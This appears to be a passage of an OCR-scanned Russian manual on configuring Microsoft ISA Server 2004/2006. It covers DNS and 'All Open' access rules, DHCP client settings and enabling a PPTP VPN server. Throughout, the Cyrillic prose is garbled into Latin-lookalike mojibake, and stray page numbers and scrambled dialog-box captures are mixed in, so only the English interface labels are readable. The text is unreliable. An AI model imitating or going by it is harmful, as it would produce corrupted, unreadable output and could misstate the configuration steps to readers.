e Ha crpanume User Sets (ITonMHOkecTBa MOJIb30BaTENICH) OCTaBHTE 3HAUCHUE 110
ymomyanuio (All Users (Bce monp3oBarenun)) u menkHuTe KHONKY Next
(Hainee).

e Ha crpanumie Completing the New Access Rule Wizard (3aBepiienne paboThl
MacTepa CO3JaHMs HOBOTO MpaBHJia JIOCTYIIA) IPOBEPHTE HACTPONKH U HAXKMHTE

kHomKy Finish ('otoro).

IpaBuio «Internal DNS Server to DNS Forwarder»

Hns cozmanms npaBuia «Internal DNS Server to DNS Forwarder» (Ot
BHyTpeHHero DNS-cepepa k cepBepy mnepecbuiok DNS) BeIMOmHUTE clemyroniue
NEUCTBUSL:

e B koncomu ympasnenust Microsoft Internet Security and Acceleration Server
2004 pas3BepHUTE UMs cepBepa M InenkHWTE MbImbio myHKT Firewall Policy
(ITonutuka OpanaMayspa).

e B yane Firewall Policy (ITonutuka Opanamayspa) MICTKHATE MBIIIBIO BKIAIAKY
Tasks (3agaun) Ha maHenu 3amad. Ha maHenu 3amad IIEIKHUTE MBIIIBIO MyHKT
Create a New Access Rule (Coszmath HOBoe mpaBmiio noctymna)Ha crpanwuiie
Welcome to the New Access Rule Wizard (Mactep co3aaHust HOBOTO ITpaBHjia

nocryma) BBegute Internal DNS Server to DNS Forwarder (Ot BHyTpeHHEro

297
360



DNS-cepepa k cepepy mnepecsuiok DNS) B TekcroBom mosne Access Rule
name (Mms npaBuna goctymna). Haxmure kHonky Next ([lanee).

Ha crpanune Rule Action ([eiicteue mnpaBwma) Beioeputre Allow
(Pa3pemaromiee) u menkuute knonky Next (Janee).

Ha crpanwune Protocols (ITporokoisr) BeiOepute Bapuant Selected protocols (K
BBIOpPAHHBIM MPOTOKOJaM) U3 crmcka This rule applies to (3To mpaswio mpu-
MeHseTcs1) 1 menkanTe kaonky Add (Jlo6aBuTh).

B nuanorosom oxkue Add Protocols (/Io6aBuTh MPOTOKOJIBI) IEIKHUTE MBIIIBIO
nanky Infrastructure (Mudpactpykrypa). JIBaxIbl IMICIKHATE MBIIIBIO 3aIUCh
DNS u menkaute kHonky Close (3akpeith). Haxxmute kHomky Next ([anee) Ha
ctpanwuie Protocols (ITpotokousr).

Ha crpanune Access Rule Sources (Mcrtoynukw [uis mHpaBHjia JOCTYIIA)
mienkauTe kHonky Add (J1o6aBuTh).

B muanoroBom oxue Add Network Entities (Jlo0aBuTh ceTeBbie OOBEKTHI)
mienkHuTe MbIb0 MeHio New (Hogerif), a 3arem Computer (KommbroTep).

B nuanorosom oxkae New Computer Rule Element (HoBslii sneMeHT mpaBuia
s kommberotrepa) BBeaute Internal DNS Server (Bayrpennuit DNS-cepsep) B
tekcToBoe mosie Name (Mms). Beegure 10.0.0.2 B TekcToBoe mose Computer IP
Address (IP-ampec kommbroTepa). Haxxmute kHonky OK.

B nuamoroBom okxne Add Network Entities ([lo6aBuTh cereBble OOBEKTHI)
nmienkHUTe MbImblo manky Computers (KommbioTepsl) W BaXKAbl IICITKHATE
mbiibio 3anmuchk Internal DNS Server (Buyrpennuii DNS-cepsep). Haxmure
kHonky Close (3akphbITh).

Haxxmute xkHonky Next ([lanee) Ha crpanuiie Access Rule Sources (Mcrounuku
JUIS1 IpaBUjia JOCTYIIA).

Haxxvute xHomky Add ([oGaButh) Ha crpanuie Access Rule Destinations
(AnpecaTsl paBuia 10CTyNA).

B nwmanorosom oxue Add Network Entities (J{o6aBuTh ceTeBble OOBEKTHI)
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nienkauTe MBI nanky Networks (Cetw) W ABaKIbl IEIKHUTE MBIIIBIO
Local Host (JIokanbaslit xocT). Hasxkmute kHOnKy Close (3akphITh).

Haxmure kHomky Next (Iamee) Ha crpanmme Access Rule Destinations
(Anpecatsl mpaBuiia JOCTYNA).

Ha crpanune User Sets (ITogMHO»XkecTBa moJib30BaTesiell) OCTaBbTE 3HAUYCHHE 110
ymoauanunto All Users (Bce monb3oBarenn) u Haxkmute kHonky Next ([lanee).
Ha crpanumie Completing the New Access Rule Wizard (3aBepmienue padboTsl
MacTepa CO3JaHMsi HOBOTO MpaBUiia JOCTYIA) MIPOBEPHTE HACTPONUKU U HAXKMUTE

kHomnky Finish (I'otoBo).

IIpaBuio «Internal Network to DNS Server»

Jns cosmanus mpaswia «Internal Network to DNS Server» (U3 BHyTpeHHEH

cetu kK DNS-cepBepy) BBITIOJIHATE CICAYIOIINE ICHCTBUS:

B konconm ynpasiaenus Microsoft Internet Security and Acceleration Server
2004 pa3BepHuTe UM cepBepa U menkauTe Mbitpio Firewall Policy (ITonuTuka
Opanamayspa).

B y3ne Firewall Policy (ITonutuka OpanaMayspa) IIEIKHUTE MBIIIBIO BKIAIKY
Tasks (3agaun) Ha manenu 3axa4d. Ha manenu 3ama4 mienkaute Molmbpio Create a
New Access
Rule (Co3gaTs HOBOE MPaBUJIO AOCTYIIA).

Ha crpanune Welcome to the New Access Rule Wizard (Macrep co3nanus
HOBOro mpaBwia jgoctryma) BBeaute Internal Network to DNS Server (M3
BHyTpeHHel cetu k DNS-cepBepy) B TekcToBoe mosie Access Rule name (Mms
npasuia nocryna). Haxxmure kaonky Next (Hanee).

Ha crtpanune Rule Action ([eiictBue mnpaBwia) BeiOepure Allow
(Paspermraromiee) u Haxmure kHomky Next ([amee). Ha crtpanume Protocols
(TTpotoxoJbl) BBIOCPHUTE BapUaHT Selected protocols

(K BeIOpanHBIM TIpOoTOKOJIAaM) M3 criucka This rule applies to (9to npaswiio npu-
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MeHsieTcs) u Haxmute kHonky Add (J{o6aButs).

e B muanorosom oxue Add Protocols (JIo6aBuTh IpOTOKOJIBI) MICIKHUTE MBIIIBIO
nanky Common Protocols (O6mue npoTokosbl). JIBaXkIbl IEIKHUTE MBIIIBIO
3armuck DNS u Haxkmute kHonky Close (3akpbITh).

e Haxmure knonky Next ([anee) Ha crpanwuie Protocols (ITpoTokosisr).

e Ha crpanmme Access Rule Sources (Mcrouynwku ais IpaBHiIa JOCTYIIA)
Hakmute kKHonky Add (Jlo6aBuTh).

e B mumanoroBom okne Add Network Entities (/loO0aBuTh ceTeBble OOBEKTHI)
meiakHuTe Mbimblo nanky Networks (Certu). JIBakIpl IIETKHUTE MBIIIBIO
Internal (BayTpennss cets) u Haxkmute KHOTIKY Close (3akpbITh).

e Haxwmure xaonky Next (danee) Ha crpanune Access Rule Sources (McTounuku
JUTSI TIpaBUJIA JOCTYIIA).

e Haxwmure xnonky Add ([Jo6aButh) Ha crpanuie Access Rule Destinations
(Anpecatbl mpaBuiia JOCTyNA).

e B mumanoroBom okue Add Network Entities (/loO0aBuTh ceTeBble OOBEKTHI)
menkuuTe Mblmbio manky Networks (Cetu) u ABaKAbl MICIKHUTE MBIIIBIO
Local Host (JIokanbusiit xoct). Hasxkmute kHOnKy CloSe (3akphITh).

e Haxmure xnomky Next ([lamee) ma crpanmme Access Rule Destinations
(AnpecaTsl paBuia 10CTyNA).

e Ha crpanune User Sets (ITonMHOkecTBa MOJIb30BaTeNIei) OCTaBbTE 3HAUCHUE 110
ymouanuto All Users (Bce monb3oBarenu) u Haxkmute kHonky Next (Jlanee).

e Ha crpanunie Completing the New Access Rule Wizard (3aBepiiienne paboTsl
MacTtepa Co3JaHus HOBOTO MpaBWIIa TOCTYIIAa) TPOBEPHTE HACTPOUKU U HAKMUTE

kHomky Finish (I'otoBo).

Ipasuio «All Open»
Hus co3manust npaBuina «All Openy (Bce OTKPBITO) BBITIOIHUTE CIICAYIOIIHE

JIICUCTBHUS:
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B koncomm ynpasnenuss Microsoft Internet Security and Acceleration Server
2004 pa3BepHHUTE NMs cepBepa u mmenkanTe Mbimsio Firewall Policy (ITonmtrka
OpanaMaya3pa).

B y3ne Firewall Policy (ITonutuka OpanaMayspa) MIETKHUTE MBIIIBIO BKIAJIKY
Tasks (3amaun) Ha nanenu 3aga4. Ha manenu 3amay menkHuTe Melisio Create a
New Access Rule (Co3gats HOBOE MpaBUIIO JOCTYIIA).

Ha crpanunie Welcome to the New Access Rule Wizard (Bac mpuBercTByer
MacTep co3aaHus HoBoro mpaemia gaoctymna) BBeautre All Open (Bce oTkpsiTo)
B TEKCTOBOE noJie
Access Rule name (Mwms npasuia nocryna). Haxxmure kaonky Next (danee).
Ha crpanunie Rule Action ([eiictBue mnpaBuna) Beioeputre Allow
(Pazpemaromiee) u Haxxmute kHonky Next (anee).

Ha crpanune Protocols (ITpotokossr) Beioepute Bapuant All outbound traffic
(Ko Bcemy ucxopsimemy tpaduky) u3 criucka This rule applies to (Oto mpaswuiio
npumeHsiercs) u Haxmute kHonky Next (anee).

Haxxmute kHomiky Next ([lanee) Ha ctpanute Protocols (ITpoTokotsr).

Ha crpanune Access Rule Sources (Mcrounuku s mpaBuia JIOCTYIIA)
Haxkmute kHonky Add (J{o0aBuTB).

B nwmanorosom oxue Add Network Entities (JJo0aBuTh ceTeBble OOBEKTHI)
mienkauTe Mbimbio nanky Networks (Cern). JIBakapl INEIKHHUTE MBIIIBIO
Internal (BayTpennss) n Haxxmute kHONKy Close (3akpbITh).

Haxxmute xkHonky Next ([lanee) Ha crpanuiie Access Rule Sources (Mcrounuku
JUTSL TIpaBUjia JOCTYIIA).

Haxxmute xHOmky Add ([doGaButh) Ha crpanuie Access Rule Destinations
(AnpecaTsl paBuia 10CTyNA).

B nwmanorosom oxae Add Network Entities (J{o6aBuTh ceTeBble OOBEKTHI)
meakHuTe Mblmbio manky Networks (Cetw) w JBaKAbl MICIKHUTE MBIIIBIO

External (Buemnsis). Haxmure knonky Close (3akphiTh).
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e Haxmure knomky Next ([lamee) ma crpanmme Access Rule Destinations
(Anpecatsl mpaBuiia JOCTyNA).

e Ha crpanune User Sets (ITogmHokecTBa 1M0Ib30BaTENCH) OCTaBbTE 3HAUEHHE 110
ymomaanuto All Users (Bce mosb3oBarenn) n Haxkmute kHonky Next ([lanee).

e Ha crpanumie Completing the New Access Rule Wizard (3aBeprienne paboTs
MacTepa CO3/IaHHsI HOBOT'O MpaBUiia JOCTYIa) MPOBEPHTE HACTPOUKHU U HAXKMUTE
kHonky Finish (I'oToBo).

e [IpaBuio goctyna JOJKHO BBITISAETh, Kak Ha puc. 6.28. B manHOM ciyyae He
HY)KHO MEHSTh MNOpANOK mpaBwi. llpu co3maHum paclimpeHHBIX IpaBHII
J0CTyNa sl KOHTPOJS HCXOJSIIEr0 M BXOJSAIIEr0 JOCTYIa, BO3MOXHO,
noTpedyeTrcsi WM3MEHUTh TMOPAJIOK TMpaBuil, 4YTOOBl JOOUTHCS JKEIIAeMbIX

pEe3yIbTaTOB.

KondurypupoBanue KOMINbIOTEPOB BHYTPeHHell ceTH

KomMrmbroTepsl BHyTpEeHHEN ceTH HacTpauBaroTcs Kak kKiaueHThl SeCUreNAT ISA
Server. Knuent SecureNAT — 3T0 KOMITBIOTED, aJpec OCHOBHOTO IUTI03a KOTOPOTO
HacTpoeH Kak |P-agpec cereBoro ycTpoiicTBa, MaplIpyTHU3HPYIOIIETO 3alpoChl W3
WuTepuera Ha BHyTpeHHuii IP-anpec Gpannmayaspa ISA Server 2004.

Kornma kommbproTepsl BHYTPEHHEH CETH MMEIOT TOT K€ HICHTH(UKATOpP CETH,
YTO M BHYTpeHHUH uHTepdeiic Opanamayspa ISA, OCHOBHONM NUII0O3 KOMIBIOTEPOB
BHYTpEHHEH CEeTHM HacTpaumBaeTcsi Kak BHyTpeHHu# IP-agpec Ha KoMmbroTepe
Opannmayspa ISA. Tak nHactpauBaercs ob6nacte DHCP wa DHCP-cepsepe,
pacmnoyioxkeHHOM Ha Opanamayspe ISA.

B sTtom pazpene ommchiBaeTCs KOH(GUTYPHUPOBAHUE KOMIBIOTEPOB BHYTPEHHEH
CeTH, MMEIOIIMUX TOT >X€ HIACHTHU(PHUKATOP CETH, YTO W BHYTPEHHUH HHTepdeiic
Opanamayspa ISA Server 2004, ¥ KIMEHTOB, KOTOpPbIE MOTYT HMMETh JIPYroi
uneHTudukaTop cetu. Yamie Bcero BTOpoil ciiyyaid BCTpEeYaeTcsi B KPYIHBIX CETAX, B

KOTOPBIX JIJIs BHYTPEHHEH CETU €CTh 00Jiee 0JTHOTO UACHTU(HUKATOPA CETH.
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Hacrpoiika ki1ueHTOB BHyTpeHHel ceT kak DHCP-kanenToB

DHCP-xnuenTsl 3anpammBaioT nHpopmaruio 06 IP-anpecax ¢ DHCP-cepsepa.

B sTom pasgene ommchiBaeTcs, kak HacTpouth kimeHT Windows 2000 (Server wmum

Professional) xak DHCP-knueHnT. OTa mporeaypa cxoxka JUisd BceX KIMCHTOB Ha Oa3e

Windows. [Ijis Toro 4To0BI HACTPOUTH KIIMEHT BHYTpeHHEH ceTn kak DHCP-kiueHT,

BBIIIOJIHUTC CJICAYIOIIHC ﬂeﬁCTBHHZ

[IpaBoit kHomkoW MbIimm ImenkHuTe 3Hadok My Network Places (Ceresoe
OKpY)XCHHE) Ha paboyeM CTOJie WU B KOHTEKCTHOM MEHIO BBIOCPUTE ITyHKT
Properties (CoiicTBa).

B oxne Network Connections (CereBble MOIKIIOYCHHS) MPaBOM KHOIKOMH
MBIIIH IISJKHUTES BHEIIHUN ceTeBOi mHTepdelic u BhiOepuTe MyHKT Properties
(CmoiicTBa).

B nmuanoroBom okHe Properties (CBoricTBa) ceTeBOro MHTepdeiica IMEIKHUTE
mbltibio 3anuck Internet Protocol (TCP/IP) (ITpotokon Uutepuera, TCP/IP) u
IICJIKHATE MBIIIBIO MyHKT MeHIO Properties (CeolicTsa).

B muanoroBom okHe Internet Protocol (TCP/IP) Properties (CoiicTBa mpoToKo
Wutepuera TCP/IP) (puc. 6.29) Beibepute Obtain an IP-address automatically
(ITomyuuts IP-agpec aBTOMaTUYECKH).

Brioepute Use the following DNS server addresses (Mcmonb30Bath cieayronme
aapeca DNS-cepepoB). Bsemute |P-agpec BHyTpeHHero wuHTepdeiica B
tekcroBoe mose Preferred DNS server (Ilpemmoumraembiii DNS-cepsep).
Haxwmure kHonky OK B awmamoroBom oxue Internet Protocol (TCP/IP)

Properties (CrotictBa nporokoia Mutepuera TCP/IP).

VPN-coexuHenmne
00630p ucnosn3zoBanusa VPN mexkcereBbIM 3kpanoMm |SA

[TocTOSIHHBIA POCT MOMYJAPHOCTH BHUPTyalbHbIX 4YacTHBIX ceTeil (VPN)

IpeBpaTuyl HMX B CTaHIapT OJIA KOMH&HHIZ, HUMCIOIMNX HAaAOMHBIX pa6OTHI/IKOB,

aIMUHUCTPATOPOB U MPOJIaBIIOB, KOTOPHIM HEOOXOJMM JOCTYH K CETH BHE oduca, a
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TaK)Xe MApTHEPOB U KJIMEHTOB, HYKJAIOIINUXCS B IOCTYIE K PECypcaM KOPIOPAaTUBHOM
cetu. 3amadya VPN — paspemuTs ynajlieHHbIM JOCTYNl K pecypcaM KOpPHOPAaTUBHOMN
CeTH, KOTOpblE B MPOTUBHOM CIydya€ MOTYT OBIThb JOCTYNHBIMH TOJIBKO TIpU
HEIMOCPEJICTBEHHOM MOJAKIIOYEHUH MOJIb30BaTeNd K JIOKaJbHOU ceTH. C MOMOIIbIO
VPN-coenuHeHus: mojab30BaTeb MOTYYaeT «BUPTYalbHOE», KOH(QUTYpallUd Y3el-B-
y3€ll CcoeAuHEeHue ynameHHoro VPN-nonbs3oBaTens ¢ KOPIOPATUBHOM CETHIO.
[Tonp30BaTenb MOXeET paboTaTh Tak, Kak OyATo OH (OHA) HAxXoAUTCA B odwuce;
OPUWIOKEHUSI M CEPBUCHI, BBINOJHSIIOIIMECS Ha KOMIIBIOTEpAX MOJIb30BATEIIEH,
uHTepnpeTupyoT VPN-nuHuio cBa3u kak tunnyHoe coequnenue Ethernet. UnTepuer,
4yepe3 KOTOPBIM KIIMEHT COEIUHSETCS ¢ KOPIOPATUBHOM CEThIO, TIOJHOCTBIO CKPBIT OT
MOJIB30BATENEHN U MPUIIOKEHUH (TIPO3payeH IS HUX).

OmHO W3 TJVIaBHBIX MNPEUMYIIECTB MNpuMeHeHus VPN-coennHeHus 1o
CPaBHEHHUIO C KIIMEHT-cepBepHbIM Web-npuiokenuem 3akmntodaercs B ToM, yTo VPN-
MOJIb30BATENH, HAXOASIIMECS JAJIEKO OT JOKAIbHOM CETH, MOTYT MOJYYUTh TOCTYII KO
BCEM IIPOTOKOJAM M cepBepaM KoprnopaTuBHOW ceTu. IIporpamMMHoe obecrieueHue
VPN-k11eHTa BCTpOEHO BO BCE COBPEMEHHBIE omepalMoHHble cucTeMbl Windows.
VPN-nonp30Barento He HYKHbl HUKAaKHE CHELUaIbHbIE MPOrpaMMHbIE CPEJCTBA IS
NOJIKJIIOUEHUSI K JI000OMY M3 O3TUX CEpBHCOB U HET HEOOXOAMMOCTH CO3/1aBaTh
CHeluaibHble MPUIOKEHUS [MPOKCH, pa3pellalolliie BalldM  [OJIb30BATEISIM
MOJICOEUHSATHCS K 3TUM PECYpCaM.

ISA Server 2000 Obl1 mepBBIM OpaHaMay’poM Kopropamuu Microsoft,
oOecreynBalIMM TecHyto uHTerpaiuio VPN u ynpasnenne ummu. B cocraB ISA
Server 2000 ObuUTM BKJIIOYEHBI YNOOHBIE MacTepa, yrpomawmue co3gaanue VPN-
COCIMHEHUM YNAJIEHHOTO JOCTylla W MEXIUIO30BBIX. WA y3el-B-y3ea VPN-
coenquHeHud ¢ Opanamayspom  ISA  Server  2000/VPN-cepBepom. Ho
c(hOpPMHUPOBAHHYIO CTPYKTYpy BCE eIe MOXXHO Obuto ymydmuTh. VPN-cepBep
opanamayspa ISA Server 2000 tpeGoBanm oT aaMuHUCTpaTOpa OpaHaMaydpa

3HAUUTETHHBIX 3aTpaT BPEMEHU Ha TOYHYIO HAcTpoiiky koHburypamuu VPN-cepBepa
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C TOMOIIbI0 KoHcoMU cepBuca Routing and Remote Access (MapripyTtuzamus u yaa-
JICHHBIN JTOCTYM).

B ISA Server 2006 cymiecTBeHHO yCOBEpIIEHCTBOBaHbI VPN-KOMIOHEHTHI,
KOTOpbIE BKJIFOUECHBI B COCTaB OpaHaMayspa u3 cepBuca Routing and Remote Access
(RRAS) onepammonnsix cucreM Windows 2000 u Windows Server 2003. Tenepb
aJIMMHUCTPATOP MMEET BO3MOXXHOCTh KOHUrypupoBaTh VPN-cepBep U IILII0O30BbIC
KOMIIOHEHTbl M YIOPaBISATb WMH HEMOCPEACTBEHHO Ha KOHCOJM YIPAaBIICHHS
Opanamayapa ISA Server 2006, He nepekIIOYasCh MEX]y KOHCOJIbIO yrpaBieHus [SA
MMC u konconsto ynpasieHuss RRAS MMC. Bam oueHb peako MHOHAIO0OMUTCS
KOHCOJIb CEpBHCA MAapUIPYTU3AIMU U YIAAJICHHOTO JIOCTYMa JIsi KOH(GUTYPUPOBAHUS
VPN-KOMIOHEHTOB.

K  ngpyrum  ycoBepilleHCTBOBaHMSIM  (DYHKIIMOHAIBHBIX  BO3MOXHOCTEH
ucnosib3oBanusi VPN B ISA Server 2006 MOHO OTHECTH CIIEAYIOLINE:

® TOJUTHUKY OpaHaMay3pa, IPUMEHIEMYIO K cOeTMHEHUAM VPN-KIUEHTOB;

® [OJUTUKY OpaHamayspa, npuMeHsemyro Kk  VPN-coenuHeHusm
KoH(pUrypanuu y3en-B-y3en,

e VPN-kapaHTUH WM BpPEMEHHYIO H30JISALIHIO;

e oToOpaxeHue nojs3opareneit ;s VPN-KIMEHTOB;

e noanepxky kaueHToB SecureNAT mist VPN-coenunenui;

® BUPTYaJbHYI0 YAaCTHYIO C€Tb KOHQUTYypalluu  «y3el-B-y3eim» C
MIPUMEHEHUEM TYHHEJBHOIO pexkuma nporokoia [PSec;

e nyOmukamuto VPN-cepBepoB mo mporokoiny PPTP (Point-to-Point
Tunneling Protocol, ckBo3HOM TyHHEILHBIN TPOTOKOJI);

® TOJJCPKKY ayTeHTU(UKAIMU CEeKpeTHhIM KitouoMm Pre-shared Key s
VPN-coeaunenuii no npotokony IPSec;

e yIydllleHHas paboTa cepBepa uMeH Jyisi VPN-KIUeHToB;

® MOHUTOPUHI coequHeHUN VPN-KINEeHTOB.
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Otu HoBbIe cBoiicTBa VPN-cepBepa u nuto3a aenatot ISA 2006 ogHol u3 Hamboee
MOIIHBIX peanu3auuii kak VPN, Tak u OpaHamayspoB, NpPEICTaBICHHBIX CETO/HS Ha

PBIHKE.

Co3nanue VPN-cepBepa yananenHoro gocryna mo nporoxkosy PPTP

VPN-cepBep ynaneHHOro noctymna npuHuMaer VPN-BBI30BbI OT KOMIIBIOTEPOB
VPN-knuenToB. OH pa3peliaer OTAeIbHbIM KOMIIBIOTEpaM KIMEHTa U MOJIb30BATEISIM
NoJIyyaThb JIOCTYIl K CETEBBIM pecypcaMm IOcJ€ TOro, Kak yCTaHOBIEHO VPN-
coenuHeHne. VPN-IIII03, HampoTUB, COENMHSET LEJbIE CETH APYr € JIPYyrOM H
pa3pelraeT MHOTOYUCIEHHBIM XOCTaM B K0 CETU COEAUHATHCS C IPYTHUMU CETAMU
¢ moMomblo VPN-KkaHana Tuma y3en-B-y3eil.

Hns coenunenus ¢ VPN-cepBepoM MOXKHO HMCIOJIB30BaTh JIH000€ KIMEHTCKOE
nporpamMmmHoe obecrnieuenue, nojaaepxkubatomiee npotokosibl PPTP wiu L2TP/IPSec.
NneanbHbiM BEIOOPOM MOXKET ciykuTh VPN-kinenT Microsoft, Bxoasmuii B cocTan
Bcex Bepcuit OC Windows. Ho eciu BbI xoTHuTe rcnofib3oBath mpotokon L2TP/IPSec
c cekpetHbiMu Kitouamu (pre-shared keys), oOxomsuuit NAT (NAT traversal),
cleAyeT 3arpy3uTb W YCTaHOBUTh OOHOBIeHHbIM kiaueHT L2TP/IPSec ¢ caiita
3arpy3ku kopropanuu Microsoft.

B sToM paszenie Mbl pacCMOTPUM TPOIEAYPhI, HEOOXOAUMBIEC JJII CO3aHUS Ha
opannmayspe ISA VPN-cepBepa ymameHHoro poctyma 1o mpotokony PPTP.
BrinonHuMm clieiyronire KOHKPETHbIE Iaru:

e axTuBH3UpyeM KomnoHeHT VPN-cepBepa Opannmayspa ISA;

e CO34aauM IMpPaBUJIO JOCTyna, paspewmaromee VPN-kimeHTam pocryn K
BHYTPEHHEW CETH;

e paspemuM yAaJdeHHBIM poctyn 1o TenedonHod auHuu (Dial-in) nmms
YYETHBIX 3anuceu nosnb3zosarene VPN;

e nporectupyem VPN-coennnenue no nporokony PPTP.

306
369



Brirouenue VPN-cepBepa
Heobxoaumo BrimounTh koMInoHeHT VPN-cepBepa, Tak Kak OH MO0 YMOJYaHUIO
orkimoueH. [lepBerii mar —  aktuBu3auus  ¢GyHkinuun  VPN-cepBepa
KOH(QUTYPUPOBAHUE €r0 KOMIIOHEHTOB. JlemaeTcssi 3TO Ha KOHCOJM YIPaBICHUS
Microsoft Internet Security and Acceleration Server 2006 (CepBep 3aluIIIEHHOTO
osicTporo aoctyna k cetu Muatepuet 2006), a He Ha koHconu cepBruca RRAS.
Bonbmias yacts npobiiem koHpurypanuu VPN Opanamayspa [SA Obuia cBsizaHa
C TMPUMEHEHHUEM HEOMBITHBIMU aJMUHUCTpaTOpaMu Opanamayspa ISA koHcomu
cepuca RRAS (Routing and Remote Access Services, cepBUC MapUIpyTHU3ALHMH U
yIaJeHHOTO JocTymna) 1isi HacTpoiiku VPN-kommonenToB. HecMoTpst Ha TO, 4TO
BO3MOJKHBI CHUTYallMM, B KOTOpPBIX HAaM MOHAJOOMTCS 3Ta KOHCOJb, MOJABIISIOLIAS
yacTh KoH(urypupoBanus VPN-cepepa Opanamayspa ISA u VPN-uumosa
BBIMOJIHSACTCS Ha KOHCOJM yrpasieHus Microsoft Internet Security and Acceleration
Server 2006 (Cepgep 3amuiieHHoOro oOeicTporo aocrymna k cetu Murepuer 2006).
BrinosHuTE clieayonye maru A1 BKodeHusd 1 Hactpoiiku VPN-cepBepa ISA
2006:
e Ortkpoiite koHcONb yrnpaBieHusi Microsoft Internet Security and Acceleration
Server 2006 (Cepsep 3anuiieHHOro ObicTporo goctymna k cetu Matepuer 2006)
U PACKPOMTE OKHO, CBSI3aHHOE C UMEHEM CEpBEPA.
e Illenxkuure kHomkoM Mbimm y3en Virtual Private Networks (VPN)
(BupTtyanbHbie 4acTHBIE CETH).
o [llenkuute MbIIbio BKIaAKy Tasks (3amaun) Ha maHenu 3a1aqu.
e [llenxkuure kHonkoW MK cchliky Enable VPN Client Access (Bxiatouuth
noctyn VPN-KIUEHTOB).
o [llenkuure mpimbio KHONIKY Apply (IIpumeHuTs) 71 COXpaHEHUS W3MEHEHUM
OOHOBJICHUS TIOJIUTUKH OpaHaMay?Ipa.
e [llenkuure mpimbio kHONKY OK B nuanoroBom okHe Apply New Configuration

(CoxpaHenue n3MeHeHU KOH(pUTypauun).
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e Ha Bxianke Tasks (3amaun) menkaute KHOMKOM MbImu cchuiky Configure VPN
Client Access (Hactpouts moctyn VPN-ki1reHTOB).

e Ha Bknagke General (O6mme) B aumanoroBom okHe VPN Clients Properties
(CpoiictBa: VPN-kiIHeHThI) U3MEHUTE 3HaUYCHUE MapaMeTpa Maximum number
of VPN clients allowed (MakcumanpHOE pa3pemieHHOe KoiaumdecTBo VPN-
knmueHToB) ¢ 5 Ha 10. Bepcus Standard Edition Opangmayspa ISA
noaaepxkuBaer 1o 1000 mapamwtensHbix VPN-coenuHeHHil. OTO KECTKO
3aJlaHHBIA TIPENICNl, U OH HE MEHSETCS HE3aBUCHUMO OT KoiuuyectBa VPN-
COCIMHEHUM, TOJJACPKUBAEMBIX ONepalMoHHON cuctemoit Windows, B
KoTopoil yctaHoBlieH Opannmaydsp ISA. ¥V Bepcuu Enterprise edition Opanj-
Mmayspa ISA HeTr XecTKO 3aJIaHHOTO JIMMHUTA U KOJMYECTBO TMOJACPKUBAEMBIX
VPN-coeaunenuii omnpenensieTcss 0a30BOM omneparmoHHON cucteMoi. TouHo
YUCJI0O HEU3BECTHO, HO eciu Opannmaysp ISA ycranosien B OC Windows

Server 2003 Bepcuu Enterprise, Bbl MOxkeTe co3nath k Opanamayspy ISA 16 000

VPN-nogkmtouenuit no mporokony PPTP wm 30 000 — mo mnporokoiry
L2TP/IPSec.
21 x|
Obuwme I Mpymne: I MpoToKkone I ConocTasneHHe NonssosaTensl I
[~ BrnroqnTe aocctyn VPM-+wnmedTos
MakcHMMansHoe paspeluseHHoS KonyecTeo YPH+nmeHToE:
I 10

(8.9 I OTHMEHS I MNpHMEHKTE I

Puc.11. Bxnaaka «O6mmume (General)»
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VY6enurecy, uro umeercs koiuuectBo IP-anpecoB mns VPN-kmuenToB, 1o
MEHBIIEH Mepe, paBHOE YUCITY, YKa3aHHOMY B TEKCTOBOM Mosie Maximum number of
VPN clients allowed (MakcumanbHOoe pasperieHHoe KoaudecTBO VPN-KIMeHTOB).
Omnpenenure KoiauuecTBO VPN-KIHMEHTOB, KOTOphIE HEOOXOIUMO COCAHHHUTH C
OpanamayspoM ISA, a 3atem n106aBbTE eAMHUILY JUTsl camoro Opanamayaspa [SA. Oto u
OyAeT 4ucio, KOTOpOe Hy’KHO BBECTH B JAHHOE TEKCTOBOE TOJIE.

e [llenkuure kHOMKOM MbIK BKIaaky Groups (I'pynmsl). Ha sToii Bkiagke
IIEIKHUTE MbIIbI0 KHOMKY Add ([lo6aBUTS).

e B naumanoroBom okHe Select Groups (Beibop: «I'pynmbb») IIETKHUTE
MbITBI0 KHOTIKY Locations (Pazmenienue). B quanoroBom okuHe Locations
(Pasmemenue) menkaute kHomkod Mbimu ajgpec USER-9E55B268EL, a
3arem KHONKYy OK.

e B nuanoroBom okHe Select Groups (Bbeibop: «['pymnmbl») B TEKCTOBOE
nosie Enter the object names to select (BBemure mmeHa BhIOMpaeMBbIX
00bexToB) BBeauTe VPN-kimuentsl. llenkaute mbimbio kHONKY Check
Names (IIpoBeputh umena). Kak Tojibko UMs Tpynnbl OyAeT HAIEHO B
0a3e nmannbix Active Directory, ono Oyaer momuepknyto. Illenknure
MBI KHOTIKY OK.

o Illenkuute KHOMKOW MbImK BkiIaaky Protocols (ITpotokosnsr). Ha atoit

BKJIa/iKe ycranoBute (aaxxok Enable PPTP (Paspemuts mpotokon PPTP)

(puc. 12)
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20|
Obwme I Mpynnel  MNPoToOKONB! IConacraE:nEHMe none30BaTenel I

BEAKYHMTE TYHHENBHEIE MPOTOKONE, A0CT YNHEIE ana NoAKMHYEHKHA
YOaaneHHOro oocTyna.:

[ ;Ea3pemum:- npoTokon PETPR |

MpoTokon PPTP obecneuneacT Des0MacHoe NogKMOYEHME ONA
YAaNEHHOr D AOCTYNa.

I PaszpewwnTe npoTokon LZTP/IPsec

MpoTokon LZTPfIPsec oDecnedyrBacT METOA4 NOGKMAHDYEHMA BEICOKOA
cTenenn GesonacHocTH ANA yaaneHHoro goctyna. Mpoeepka
MoAMAMHHOCTH C MOMOLLBKD CepTHdMKaTa ABNAETCA METOAOM
MPoBEPKK NoOAAMHHOCTI MO YMOMYaHMED 4NA A3HHOoro NpoToKona.

Cnpaeka no cepTudmkaTtam VPN IPsec

0K I OTHMEHS NEHHEHATE

Puc. 12. Bknanka «IIporoxosr (Protocols)»

o [llenkuure kHOmKOM MbimK BkIanky User Mapping (ComoctaBieHue
nosib3oBateneit) (puc. 5.2.1.3). VYcranoBute ¢Quaxxoxk Enable User
Mapping (BxitouuTh comocraBiieHue moJib3oBatenei) u ¢guaxok When
username does not contain a domain, use this domain (Ecnu B umenu
IIOJIB30BATENSI HE COAEPIKUTCS JIOMEH, MCIOJIb30BaTh JAHHBIA JTOMEH).
BBenutre nmst USER-9ES55B268E1 B TexkcroBoe moine Domain Name
(Jomennoe wums). Wmeiite B BUAy, YTO O3TH YCTAaHOBKU OyayT
NpUMEHAThCA NpU ucnosib3oBaHuu ayTeHTUGuKanuu RADIUS/EAR Ounu
